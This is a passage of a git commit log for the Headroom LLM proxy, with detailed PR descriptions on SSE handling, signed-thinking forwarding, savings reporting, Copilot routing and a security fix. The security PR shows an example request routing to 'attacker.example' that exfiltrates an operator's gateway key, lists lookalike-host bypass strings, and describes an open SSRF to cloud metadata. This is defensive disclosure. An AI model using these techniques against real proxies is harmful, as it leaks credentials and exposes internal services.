upstream receives a self-contradicting request: *"answer as JSON"* in
the body, *"I only accept SSE"* in the headers. Both reporters (#3130,
#3140) show `server: cloudflare` / `cf-ray`, and both describe it as
intermittent — consistent with an edge honouring `Accept` under retry.
#3102 fixed that for the CCR flip; this PR moves the rewrite to the
buffered boundary **every** non-streaming request reaches, so the
client's own non-streaming retry is covered too.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

**From #3131 — the contract.** `headroom/proxy/nonstream_sse_policy.py`:
a pure module with a behaviour matrix and `should_recover_sse_reply` as
a single predicate. The three negative arms are deliberate — a streaming
caller wants SSE, a JSON content-type is already correct, a non-200
carries an upstream error the client should see verbatim.

**From #3132 — the reconstruction.** `require_complete=True` demands
`message_start`, a terminal `message_stop`, every opened block closed,
no in-band `error` event, and no delta the reconstructor cannot replay.
Anything short of that is a 502.

Three things only #3132 had, each load-bearing:

- **`index` is stripped from rebuilt content blocks.** The parser writes
it (`streaming.py:425`) and a client persists the reconstructed turn and
echoes it back — at which point Anthropic 400s with
`content.0.text.index: Extra inputs are not permitted`.
`_strip_streaming_only_content_fields` (`anthropic.py:185`) already
documents this exact failure. That inbound stripper would mask it *while
the proxy is in the path*, but the client's stored history is still
polluted.
- **SSE framing is normalized and `data:` no longer requires the
optional space.** The old `startswith("data: ")` skipped a spec-valid
stream **entirely** — zero events parsed, which is literally what the
report describes (*"0 stream events received"*).
- **Detection sniffs the body**, so a mislabeled or absent content-type
is still caught.

**Reconciled where they disagreed:**

- *Headers.* #3131 hand-rolled a framing list; this uses the established
`sanitize_forwarded_response_headers`. That already strips `connection`,
`keep-alive` and `server` alongside the content-* family — and per the
comment at `helpers.py:325`, leaving `transfer-encoding` on a rebuilt
body is what produced an empty HTTP 200 in #3019. #3131's list would
have left three of those on. #3132's `cf-*` filter is kept.
- *Detection.* The body sniff arrives as `body_is_event_stream`, so the
policy module stays pure — the sniff needs the response object and the
handler owns that.
- Dropped #3131's `json_reply_headers` and its test class; everything
else from both PRs is retained.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass

### Test Output

```text
tests/test_nonstream_sse_policy.py   18 passed   (from #3131)
tests/test_anthropic_buffered_sse.py 18 passed   (from #3132)
                                     36 passed

Regression sweep (-k "stream or sse or ccr or anthropic or proxy or buffered or usage"):
  2982 passed, 181 skipped, 0 failed in 153.41s

ruff check: All checks passed
ruff format --check: 527 files already formatted
```

Both contributors' suites are kept whole and both pass unmodified
against the merged implementation, which is the useful signal here —
they were written independently against different implementations.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in.
- Exact command / steps: applied #3132 as the engine, layered #3131's
policy module over it, rewired the decision site to the predicate, then
ran both suites and a 2982-test sweep concentrated on everything
touching the shared SSE parser.
- Observed result: 36/36 across both contributed suites, 2982 passed / 0
failed on the sweep. The sweep matters more than usual here —
`_parse_sse_to_response` is shared with the streaming path's usage
accounting, and `require_complete` defaults to `False` specifically so
existing callers keep the lenient reconstruction they were written
against. Nothing regressed.
- Not tested: no live upstream. I could not reproduce the upstream
answering a `stream`-less request with SSE against real
`api.anthropic.com` — that is the condition #3130 reports as
intermittent and load-dependent, and the Accept explanation above
remains a well-supported hypothesis rather than something I observed.
The fix does not depend on it: whatever the upstream returns, a caller
that did not ask for streaming is no longer handed SSE.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Yes, deliberately, in two places. A
non-streaming turn answered with SSE is now reconstructed as JSON
instead of relayed; an SSE reply that cannot be faithfully reconstructed
is now a 502 instead of an unparseable 200. Both are the point.
`require_complete` defaults to `False`, so streaming callers of the
shared parser are untouched.
- Kill switch / disable path: none by design — relaying a body the
client cannot parse has no legitimate mode.
- Unsafe override required: No.
- Qualification impact: A truncated upstream stream now surfaces as an
explicit 502 rather than a short-but-successful turn. More visible
failures, fewer silent ones.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

If this lands, #3131 and #3132 should be closed as superseded — both
authors are credited via `Co-authored-by:` and their tests ship intact.
I would not close either before a maintainer agrees this unification is
the direction, since it discards a design decision from each.

**Wider context, not fixed here:** #3130 and #3140 both report against
**0.35.0**, and `main` already carries a stack of fixes for this symptom
class that has never shipped — #3102 (Accept), #3092, #3091, #3094,
#3101, #3069, #3084, #3124, #3134. All of them are gated behind #3067
`chore: release 0.36.0`. Every closed lookalike (#3019, #3055, #3071,
#3040, #2952) was fixed into that same unreleased window. Merging this
PR does not help either reporter until 0.36.0 ships; **cutting that
release is the higher-leverage action.**

The interim workaround for anyone on 0.35.0 is `HEADROOM_NO_CCR=1` — the
buffered flip is gated on `_has_headroom_retrieve_tool`, and `no_ccr`
stops the tool being injected, so the flip never engages. Note `headroom
wrap` has no `--no-ccr` flag in 0.35.0, so it has to be the env var.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: João Souto <73318835+Joaovsales@users.noreply.github.com>
Co-authored-by: taiseii <37083727+taiseii@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 20:45:38 -07:00
Tejas Chopra
709d74cd78
test(proxy): pin down what Anthropic's thinking signature actually covers (#3135)
## Why

#3124 relaxed the signed-thinking lock on the premise that **the
signature seals the thinking block, not the request**. Nothing in
Anthropic's public docs states the scope, so that premise was inference
— and it shipped **on by default**. This measures it instead.

## Result

Each test replays a turn holding a real signed thinking block, mutates
exactly one part, and asserts the request is still accepted. **Identical
on all five models tested** — `sonnet-4-5`, `opus-4-5`, `sonnet-4-6`,
`sonnet-5`, `opus-5`:

| mutation | status |
|---|---|
| exact replay (control) | 200 |
| compress a `tool_result` in a later user message — *what we actually
do* | 200 |
| rewrite sibling `text`/`tool_use` blocks **inside the assistant
message holding the thinking block** | 200 |
| rewrite top-level `system` + tool descriptions (schema compaction,
tool-search deferral) | 200 |
| re-serialize the body with reordered keys (canonical encode) | 200 |
| **forge the signature** | **400** invalid signature in thinking block
|

## The two tests that matter

**The sibling case** is the gap the fingerprint cannot close by
inspection. `thinking_blocks_survived_mutation` proves the thinking
blocks are byte-identical, but says nothing about their *neighbours in
the same assistant message*. If the seal covered the whole assistant
turn, a compressed sibling would break it and the fingerprint would wave
it through. It doesn't.

**The forged-signature test is the negative control**, and the
load-bearing test in the file. Without it, a wall of green would be
equally consistent with *"Anthropic never validates signatures on this
request shape"* — which would make every other assertion here vacuous.
It 400s, so validation is live and the acceptances carry information.

This also disproves #2254's stated cause directly: a plain canonical
re-encode changes the bytes and is accepted. Those 400s were real, but
were never traced to their true trigger.

## Scope

- Gated behind `pytest.mark.live`, skipped without a key. Verified it
skips cleanly (`6 skipped`) and deselects under `-m "not live"`, so CI
is unaffected.
- Model override via `HEADROOM_LIVE_THINKING_MODEL`.
- Also replaces the speculative risk note in `body_forwarding.py` with
the measured finding.

The relaxation still only forwards when every thinking block is
byte-identical — narrower than this evidence permits — so these results
are headroom, not the safety margin.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 14:13:26 -07:00
Tejas Chopra
284ff31947
fix(proxy): stop a lone surrogate turning a thinking body into a 500 (#3134)
## What

`serialize_body_canonical` uses `ensure_ascii=False`, so a lone
surrogate anywhere in the body raises `UnicodeEncodeError` at
`.encode("utf-8")`.

This is reachable input, not a hypothetical:
- `"\ud800"` is **valid JSON** — `json.loads` accepts it happily
- a tool result carrying truncated UTF-16 or sliced binary produces one

Both forwarders resolve outbound bytes **outside** their
connection-retry loop (`streaming.py:1131`, `server.py:2170`), so the
exception escapes as an **unretried 500**.

## Why now

#3124 made this newly load-bearing. Before it, a mutated
thinking-bearing body returned the client's bytes verbatim and **never
reached canonical serialization at all**. Now it does — so the largest,
most tool-result-heavy population in Claude Code traffic depends on this
not raising.

Reproduced against `main`:

```
serialize_body_canonical RAISES: UnicodeEncodeError: 'utf-8' codec can't
  encode character '\ud800' in position 91: surrogates not allowed
select_outbound_body RAISES: UnicodeEncodeError: ...
```

## The fix

Fall back to the escaped encoding on `UnicodeEncodeError`.

**Why this and not passthrough.** Falling back to the client's original
bytes would silently drop every mutation — including the handler's
`stream` flip — and diverge from `outbound_body_is_client_bytes`, which
cannot predict a serialization failure without doing the serialization.
That reintroduces the #2952 buffered/streamed mismatch. The escaped form
keeps all mutations on the wire.

It encodes the **identical parsed values**, so upstream reconstructs
exactly the same request and the signed thinking blocks round-trip
untouched (asserted in the test). Only the byte-level encoding differs,
costing one cache miss on a request that would otherwise have failed
outright. Normal bodies are unaffected — the fast path is unchanged and
still emits compact non-ASCII.

## Test

`test_lone_surrogate_in_thinking_body_serializes_instead_of_raising` —
asserts no raise, `source == "canonical"`, mutation preserved, and the
signed block round-tripping to exactly the client's values.

Local: 78 passed across `test_proxy_byte_faithful_forwarding.py` +
`test_ccr_buffered_stream_signed_thinking.py`; 191 passed across all
serialization-touching tests. ruff + mypy clean.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 13:58:21 -07:00
Tejas Chopra
17522fb0a1
fix(proxy): scope the signed-thinking lock to blocks that actually changed (#3124)
## Description

Anthropic signs the thinking **block**, not the request — the signature
covers that block's own content. #2254 responded to real 400s by
freezing the **entire body** whenever any thinking block appeared
anywhere in history. That protects bytes no signature covers, including
top-level `tools` and `system`, which are not even inside `messages`.

Measured on 227,777 lines of real proxy logs from a user reporting ~1%
savings:

- **618 of 1,802 requests (34.3%)** had every computed compression
discarded. **100%** were `client=claude-code`; Codex/GPT traffic was
untouched.
- One session logged turn 1 saving 428 tokens, then **229 consecutive
turns saving exactly 0**.
- **491.9s — 34.2% of all optimization time** — was spent computing
compressions that were then thrown away. One request paid 21.2s to
compute a real 8.0% reduction that never shipped.
- It orphaned the turn-1 cache prefix on **12 of 35** sessions,
corroborated by Headroom's own `CACHE-MISS-ATTRIBUTION` events (21/21
are `reason=prefix_change`, **none** TTL expiry), with an exact token
match: `expected_cached=27,541` equalling turn 1's write.

## Changes Made

- Replace the presence test with a **positional, order-sensitive
fingerprint** of every `thinking` / `redacted_thinking` block, compared
against the client's original. Byte-equal blocks → forward the edits.
Any difference (edited text, edited signature, dropped, reordered,
moved) or any failure to prove equality → today's verbatim passthrough.
Keys are sorted so a dict rebuilt in a different order is not mistaken
for an edit.
- `outbound_body_is_client_bytes` mirrors the relaxation exactly, or the
CCR buffering probe and the forwarder would disagree and re-create #2952
in reverse.
- The #2990/#3015 accounting reset now **recomputes** the lock
immediately before use instead of reusing the probe taken before the CCR
branch. The predicate tests block *content* now, and
`enforce_cache_control_ttl_order` rewrites `body["messages"]` in
between, so the early answer can go stale. (Latent before this PR;
load-bearing after.)
- **Perf:** parse the client body once per decision, plus a substring
prescreen. A 9.3 MB body (the real production maximum) could otherwise
be parsed four times per request on a stage that already carries a 30s
timeout whose expiry quarantines compression process-wide.

## Rollout safety

**On by default at the maintainer's explicit direction.**
`HEADROOM_THINKING_PRESERVING_MUTATIONS=0` restores the previous blanket
lock with no deploy.

The risk is recorded in the module rather than smoothed over: #2254's
stated cause — a plain canonical re-encode — cannot alter parsed values
and therefore cannot by itself invalidate a signature, and that report's
own log shows a transform (`tool_search_deferral`) firing on the failing
turn. So the stated cause does not hold up, **but the failure was real
and its true trigger was never isolated.** This relaxation is strictly
narrower than what broke: it forwards edits only when every block is
provably identical, which is the property the blanket rule was a crude
proxy for.

## Testing

```text
uv run pytest tests/test_proxy_byte_faithful_forwarding.py tests/test_ccr_buffered_stream_signed_thinking.py \
              tests/test_proxy/test_anthropic_ccr_deferred_injection.py
92 passed
uv run mypy headroom/proxy/body_forwarding.py headroom/proxy/handlers/anthropic.py  # Success
uv run ruff check . && ruff format --check .  # clean
```

Existing tests that encoded the blanket lock were **re-pointed at the
correct trigger, not deleted** — each now tampers with a thinking block
so it still guards what it was written for.
`test_signed_thinking_discarded_mutation_uses_wire_truth_for_all_accounting`
(#3015) now runs under the kill switch, which proves both that the
accounting neutralisation still works and that the env-var rollback is a
complete restoration.

## Real behavior proof

- **Setup:** macOS arm64, Python 3.12, this branch, byte-capturing
transport.
- **After-fix evidence** — end-to-end through `/v1/messages` with a
signed thinking block in history and a compactable tool schema
(`test_untouched_thinking_lets_tool_compaction_reach_the_wire`): the
annotation keys the compaction strips (`$schema`, `title`) are **absent
from the captured upstream bytes**, and
`wire["messages"][1]["content"][0]` is **byte-identical to the client's
signed block**. Under the kill switch the same request forwards the
client's bytes unchanged with accounting zeroed.
- **Parse-count measured, not assumed:** 7.2 MB thinking-bearing body →
2 parses became 1. 2 MB body with no thinking blocks (~2 of 3 requests)
→ 1 parse became **0**, i.e. faster than before this feature existed.
- **Projected effect on the reporting user's traffic**, derived from
their unlocked requests: Claude Code headline **2.27% → roughly 5–6%**.
Their unlocked requests already achieve 5.62% overall and 7.2–7.4% in
the 20K–150K band, which matches our fleet beacon (~8%); the 2.27% is a
blend where 60% of tokens sat in requests that shipped nothing.
- **NOT tested: live paid Anthropic traffic with a real signed thinking
block.** This is the one thing that matters most and I could not do it
here. The signature-verification behaviour is Anthropic's, and no local
test can prove it accepts a re-serialized body carrying an untouched
block. **Please validate on live traffic before relying on the
default.** Watch for 400 `invalid_request_error` mentioning `thinking`,
and `CACHE-MISS-ATTRIBUTION reason=prefix_change` rates.

## Known risk not eliminated

Enabling this changes the wire bytes for in-flight sessions, so expect a
**one-time prefix change** on the first affected turn of each live
conversation. Supporting evidence that this is bounded: canonical
serialization is already the norm for the ~66% of traffic without
thinking blocks, and that traffic sustains a 94.3% cache hit rate.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 00:17:01 -07:00
Tejas Chopra
250ede2f7f
fix(reporting): show net vs gross savings, real skip thresholds, and the effective profile (#3123)
## Description

Six reporting/config defects found while investigating a user reporting
~1% savings on Claude Code. **None of these changes how much Headroom
compresses** — all of them change whether an operator can tell what it
did. Every one was found by reading that user's own 227,777 lines of
proxy logs against the code.

## Changes Made

- **`perf/analyzer`: parse and render `tok_inflated`.** Every PERF line
carried it; nothing downstream read it. The report could print
`321,239,562 -> 313,274,727` directly above `8,455,763 saved` — two
figures that differ by exactly the 490,928 tokens of inflation it
omitted.
- **`content_router`: report the real skip thresholds.** The routing
summary hardcoded `skipped (<50 words)` regardless of what was in force.
Wrong number (the message gate is `min_tokens`, 10–250 by profile),
wrong unit (tokens and characters, never words), and it merged two
different gates under one label.
- **`perf/analyzer`: disclose that Transform Effectiveness is partial.**
It is built only from `pipeline.py`'s `Transform NAME:` lines.
`compression_units.py` / `compression_batches.py` contain zero logging
calls, so the table read `content_router: 189,783 saved` against a PERF
total 44x larger. Reports the divergence rather than a coverage ratio —
the two are different populations and neither contains the other (those
lines carry no request_id, fire per stage, and are emitted before the
forwarder decides).
- **`perf/analyzer`: disclose the routing denominator.** Percentages
were taken over 4 of the router's 17 outcome buckets, silently dropping
buckets larger than several it displayed.
- **`savings_tracker`: stop dropping tool-schema dollars.**
`estimate_request_savings_usd` prices four buckets; `record_request`
read three. `tool_schema` was computed and discarded, so a quarter of
the token headline never reached "Cost saved". The two inputs are
disjoint (verified at the call site), so this is additive, not
double-counting.
- **`agent_savings`: an unknown profile no longer degrades to
`balanced`.** `balanced` is a different product posture from the default
`coding`: cache→token mode, dedup off, tool-search off, user messages
uncompressed, message floor 25x higher, block floor 20x higher. A typo
in `HEADROOM_SAVINGS_PROFILE` silently reconfigured the whole proxy. Now
degrades to `DEFAULT_PROFILE` and names the resolved profile in the
warning.
- **`agent_savings`: give `min_chars_for_block` a config-object path.**
Every other router pipeline kwarg travels on the config object; this one
alone was env-only, so an unseeded proxy applied every sibling `coding`
knob while this floor stayed at 500 instead of 25.
- **`server`: log the resolved compression posture at startup**, reading
cross-turn dedup off the constructed router rather than the environment
(the router resolves it as `config OR env`, so reading env alone would
be a guess).

## Testing

- [x] Unit tests pass, [x] ruff, [x] mypy, [x] new tests added

```text
uv run pytest tests/ -k "content_router or agent_savings or perf or analyzer or savings or proxy_server or cli_perf or prometheus"
620 passed, 25 skipped
uv run mypy headroom  # Success
uv run ruff check . && ruff format --check .  # clean
```

## Real behavior proof

- **Setup:** macOS arm64, Python 3.12, this branch. Input: 60 MB /
227,777 lines of real proxy logs from the reporting user (6 rotated
files, 2,792 PERF lines, 2026-08-17 → 2026-08-19).
- **Steps:** pointed `headroom.perf.analyzer.LOG_DIR` at that directory
and rendered the report before and after the patch.
- **After-fix output (real data, unmodified):**

```text
Requests:     2792
Tokens:       321,288,161 -> 313,323,326 (2.6% messages)
Tokens saved: 11,158,901 (3.4% reduction)
  · inflated      490,928 (net message reduction 7,964,835)
  · messages       8,455,763
  · tool schemas   2,703,138
  ! stage-level total 190,641 != PERF message total 8,455,763 — this table sees only
    engines that emit a Transform line, counts per stage, and does not check whether
    the mutation shipped
  Skipped:     44641 (77%) — below size floor
  (shares are of these 4 buckets only, n=58319; see `[router] route_counts=` for the
   full outcome space)
```

The arithmetic now closes on the page: `8,455,763 - 490,928 =
7,964,835`, matching the token delta exactly. Before the patch none of
the three annotated lines existed and the `Skipped` line claimed `<50
words`.

- **Profile resolution verified by execution**, not inspection —
subprocesses with controlled env:

```text
vanilla (nothing set)          mode=cache dedupe=1 tool_search=1 min_tokens=10  min_chars=25
HEADROOM_SAVINGS_PROFILE=coding  mode=cache dedupe=1 tool_search=1 min_tokens=10  min_chars=25
unknown profile name (before)  mode=token dedupe=0 tool_search=0 min_tokens=250 min_chars=500
unknown profile name (after)   -> resolves to `coding`, warning names it
coding, seeding never runs     min_chars=25 (was 500 before this patch)
```

- **Not tested:** live paid Anthropic traffic. These are
reporting/config surfaces; the wire path is untouched by this PR.

## Review readiness

- [x] Self-reviewed. Three overclaims in my own first draft were
corrected before this PR: a false subset claim in the Transform
Effectiveness note, a comment asserting `min_chars_for_block` was the
*only* env-only field (it is the only env-only *router pipeline kwarg*;
`cross_turn_dedup`, `tool_search`, `protect_reads`, `code_aware`,
`effort_router`, `lossless` remain env-only via a different mechanism
and are **not** fixed here), and a money-path expression that relied on
`a + b if c else d` grouping.

## Known remaining (deliberately out of scope)

- `Requests: N` still overcounts: the Codex WS forwarder reuses one
`request_id` across every turn (one observed 156x), plus ~18 duplicate
PERF emissions.
- `compression_units.py` / `compression_batches.py` remain unlogged —
this PR *discloses* the blind spot rather than closing it.
- The headline stays **gross**. True net is `11,158,901 - 490,928 =
10,667,973` (3.3%, not 3.4%). Making net the headline lowers every
user's reported savings ~4.4%; that is a product call, not mine, so the
inflation is surfaced beside it instead.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 00:16:37 -07:00
Tejas Chopra
05f5ef47cb
fix(proxy): stop operator secrets following a client-chosen upstream (#3122)
## Description

`x-headroom-base-url` lets a client choose the upstream for a single
request — a deliberate, documented feature for routing to
OpenAI-compatible gateways. `*_extra_headers` is operator-configured,
marked `secret=True` in the settings store, and its own help text uses
an API key as the example value.

The two met in the wrong order:

```
openai.py:3127   headers = merge_extra_headers(headers, self.config.openai_extra_headers)
openai.py:3134   upstream_base_url = _resolve_openai_upstream_base(request.headers)
```

The secret was merged **before** the destination was resolved. So:

```
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
```

reached the attacker's host **carrying the operator's gateway key**. One
request, no user interaction, from anything able to reach the proxy port
— a malicious postinstall script, a compromised transitive dep, a second
agent session. Same shape on the Anthropic Messages route
(`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose
override resolves 300 lines later at `:5420`).

Without `*_extra_headers` configured the same primitive is still a plain
SSRF, but that is the pre-existing behavior of a documented feature;
**this PR fixes the credential leak, not the routing.**

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret
only travels to a host the operator designated: one of the resolved
provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`.
This is the rule `copilot_auth.is_copilot_upstream_url` already applies
to Headroom's own Copilot token, generalized.
- **`merge_extra_headers` now takes a required keyword-only
`upstream_url`.** This is the actual fix. An optional parameter would
have closed three call sites and left the tenth forwarder free to
reintroduce the bug; a required one means a forwarder *cannot merge a
secret without declaring where it goes*. All nine call sites updated —
the three client-controllable ones pass the resolved override, the six
config-derived ones pass `None`.
- Undesignated upstreams are **still proxied**, just without the secret,
and the refusal logs once per host (not per request) with the remedy in
the message.
- Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`.

Matching is on the parsed hostname, never the URL string. Whole-string
comparison lets `https://api.anthropic.com@evil.example` through, and
makes a base URL match while base+path does not — that exact asymmetry
is how a gate ends up covering routing but not the credential attach.
Exact hostname equality, no wildcards.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass
- [x] Manual testing performed

### Test Output

```text
tests/test_upstream_credential_scoping.py            15 passed   (new)

Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"):
  3340 passed, 163 skipped, 1 failed in 164.56s

The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing:
it fails identically on a clean origin/main worktree.

ruff check: All checks passed
ruff format --check: 7 files already formatted
mypy headroom/proxy/upstream_trust.py: Success, no issues found
```

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in so the extension imports.
- Exact command / steps: built the exploit as an end-to-end test — a
`TestClient` app with `anthropic_extra_headers={"Api-Key":
"corp-gateway-secret"}` and a capturing transport, then `POST
/v1/messages` with `X-Headroom-Base-Url: https://attacker.example`,
asserting on the headers the transport actually received. **Then
disabled only the new gate (leaving the signature intact) to confirm the
test reproduces the original vulnerability.**
- Observed result: with the gate disabled the test fails with the secret
visibly on the wire —

  ```
AssertionError: assert 'api-key' not in {..., 'api-key':
'corp-gateway-secret', ...}
  ```

With the gate restored, 15/15 pass. The companion test asserts the
request still reached `attacker.example` and still carried the
*client's* own `x-api-key`, so the fix withholds the operator's
credential without breaking the routing feature or the client's auth.
Lookalike hosts (`api.anthropic.com@evil.example`,
`api.anthropic.com.evil.example`, scheme-less values, `://`) are covered
by parametrized cases.
- Not tested: no live upstream was contacted — all uses a capturing
`httpx` transport. The WebSocket forwarders (`openai.py:6606`,
`codex/live.py:131`) pass `upstream_url=None` because their destination
is config-derived; that classification is verified by reading the
callers (`_api_target(proxy, "openai")`,
`codex_responses_websocket_url()`), not by a test.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: **Yes, deliberately.** If an operator
today configures `*_extra_headers` *and* routes via
`x-headroom-base-url` to a host that is not a configured provider
target, those headers stop being sent. That is the vulnerability, so the
change is the point — but it is a real behavior change for that setup,
which is why the log line names the host and the env var to fix it.
- Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>`
restores delivery for a named host. There is deliberately no global
"off".
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Found during the same audit, **not fixed here** — each wants its own
change:

- **The plain SSRF remains by design.** With no `*_extra_headers`
configured, a client can still make the proxy issue an arbitrary request
to an arbitrary host (cloud metadata at `169.254.169.254`, internal
admin panels) and read the response. Closing that means either an opt-in
requirement for the header or private-IP blocking, and private-IP
blocking would break the common local-gateway setup (LiteLLM on
`127.0.0.1`). Worth a deliberate decision rather than a silent change
here.
- **CORS is the only thing keeping this off the web.**
`x-headroom-base-url` is a non-simple header so it forces a preflight,
and the default origin regex is loopback-only. Setting
`HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web
page.
- The `/v1/*` data plane has no authentication for loopback callers even
when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback),
so "any local process" is the realistic attacker for all of the above.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-18 22:27:25 -07:00
Tejas Chopra
b77d612913
fix(copilot): send VS Code inline completions to the host that serves them (#3112)
## Description

#3077 stopped Copilot's inline completions being forwarded to
`api.openai.com` (the corporate-blocked host in the original report) —
but sent them to the **CAPI host**, which does not serve that endpoint.

Copilot has two surfaces on two different hosts, and GitHub's own client
library keeps them apart:

```js
_getCAPIUrl(t)  -> t?.endpoints.api   || "https://api.githubcopilot.com"
_getProxyUrl(t) -> t?.endpoints.proxy || DEFAULT_PROXY_BASE_URL
DEFAULT_PROXY_BASE_URL = "https://copilot-proxy.githubusercontent.com"
```

building completions as
`${proxyBaseURL}/v1/engines/<engine>/completions` (`@vscode/copilot-api`
0.5.2). Probed unauthenticated against the live hosts:

| host | `POST /v1/engines/<e>/completions` |
|---|---|
| `copilot-proxy.githubusercontent.com` | **401** — exists, needs auth |
| `proxy.individual.githubcopilot.com` | **401** — CNAME to the above |
| `api.githubcopilot.com` | **404** — does not serve this path |

So the destination #3077 chose could not have worked. Three separate
defects were in the way, each sufficient on its own to keep completions
broken.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `copilot_auth.py`: added `DEFAULT_COMPLETIONS_PROXY_URL` and made it
the default in `copilot_completions_base_url()`, replacing the CAPI
host.
- `copilot_auth.py`: the "custom deployment keeps its own host" rule now
excludes public Copilot hosts. Without this, `headroom wrap vscode` —
the common setup, and the one that exports
`GITHUB_COPILOT_API_URL=<resolved subscription URL>` — resolved straight
back to the 404 host. **This was a bug in my own first cut of the fix,
found by testing the real `wrap vscode` environment rather than just the
routing table.**
- `copilot_auth.py`: added `is_copilot_completions_host()` and
`is_copilot_upstream_url()` (chat ∪ completions). The completions host
was recognised as Copilot **nowhere**, so `apply_copilot_api_auth`
attached no credentials (401 — routing correctly to a host we then
failed to authenticate against) and `build_copilot_upstream_url` skipped
`mark_request_routed_to_copilot()`, mislabelling the provider in
telemetry.
- The union is applied at exactly those two call sites.
`is_copilot_api_url` is left alone, so validation of a token payload's
`endpoints.api` and the Responses-API preference check keep their strict
chat-only meaning. All six call sites were read before choosing this.
- `proxy_targets.py`: the "already a Copilot host" guard now keys on the
*completions* host. A CAPI host is not a completions host, so it must
still be redirected; a genuine per-SKU completions host or operator
override is still left untouched.
- `providers/copilot/vscode.py`, `cli/wrap.py`,
`docs/…/vscode-copilot.mdx`: stop writing/printing
`github.copilot.advanced.debug.overrideAuthType`. No such setting exists
in the modern Copilot Chat extension — the only one left after
`GitHub.copilot` was deprecated in early 2026. Its full `advanced.*`
surface is `authPermissions`, `authProvider`, `debug.overrideCapiUrl`,
`debug.overrideProxyUrl`, `debug.use*Fetcher`. It is still *recognised*
so a stale hand-written copy is detected, just never emitted.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
tests/test_copilot_vscode_completions_routing.py  59 passed
Copilot-related suites                           293 passed, 8 skipped

Full suite:
3 failed, 11250 passed, 581 skipped in 342.50s
```

The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline on this machine: no `cargo`
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `139c7cbd`, `HEADROOM_SKIP_UPSTREAM_CHECK=1`
- Exact command / steps: (1) composed the real request path —
`select_passthrough_base_url(proxy, headers, path)` →
`build_copilot_upstream_url` → `apply_copilot_api_auth` — across 7
deployment shapes (no config, `wrap vscode`, advertised
`endpoints.proxy`, operator override, GHE `.ghe.com`, GHE custom domain,
target already a completions host); (2) probed the three candidate hosts
unauthenticated with `curl -X POST
/v1/engines/gpt-4o-copilot/completions`; (3) round-tripped
`settings.json` through empty / one-setting / comments+array / CRLF
shapes asserting valid JSON, idempotency and clean removal.
- Observed result: before — `api.githubcopilot.com/...` (404 host), and
with `GITHUB_COPILOT_API_URL` set as `wrap vscode` sets it,
`api.business.githubcopilot.com` (also 404); no `Authorization` header
on the completions host. After —
`copilot-proxy.githubusercontent.com/v1/engines/gpt-41-copilot/completions`
with credentials attached in every public-Copilot shape,
`endpoints.proxy` and the operator override still winning, and a GHE
tenant staying on its own host. `settings.json` stays valid JSON in all
four shapes with the dead key gone; the two `restored=False` cases are
pre-existing whitespace/CRLF normalisation, identical on `main`.
Reverting the source fails 14 of the new tests, including the credential
test on the completions host.
- Not tested: no live VS Code session and no authenticated completion —
the 401 proves the endpoint exists, not that GitHub accepts our
forwarded request, which needs a real Copilot token. Confirmation from
@rganesh-msys is still wanted. **Enterprise remains unresolved by
default**: a GHE tenant stays on its own CAPI host, which is likely
still the wrong surface for completions, but staying in-tenant beats
forwarding keystrokes to a public GitHub host —
`GITHUB_COPILOT_PROXY_URL` is the exact fix and now takes precedence
over everything.

## Runtime Rollout Safety

- Rollout-managed feature(s): None — no rollout channel gates this.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Yes, and deliberately — the
completions destination moves from a host that answers 404 to the one
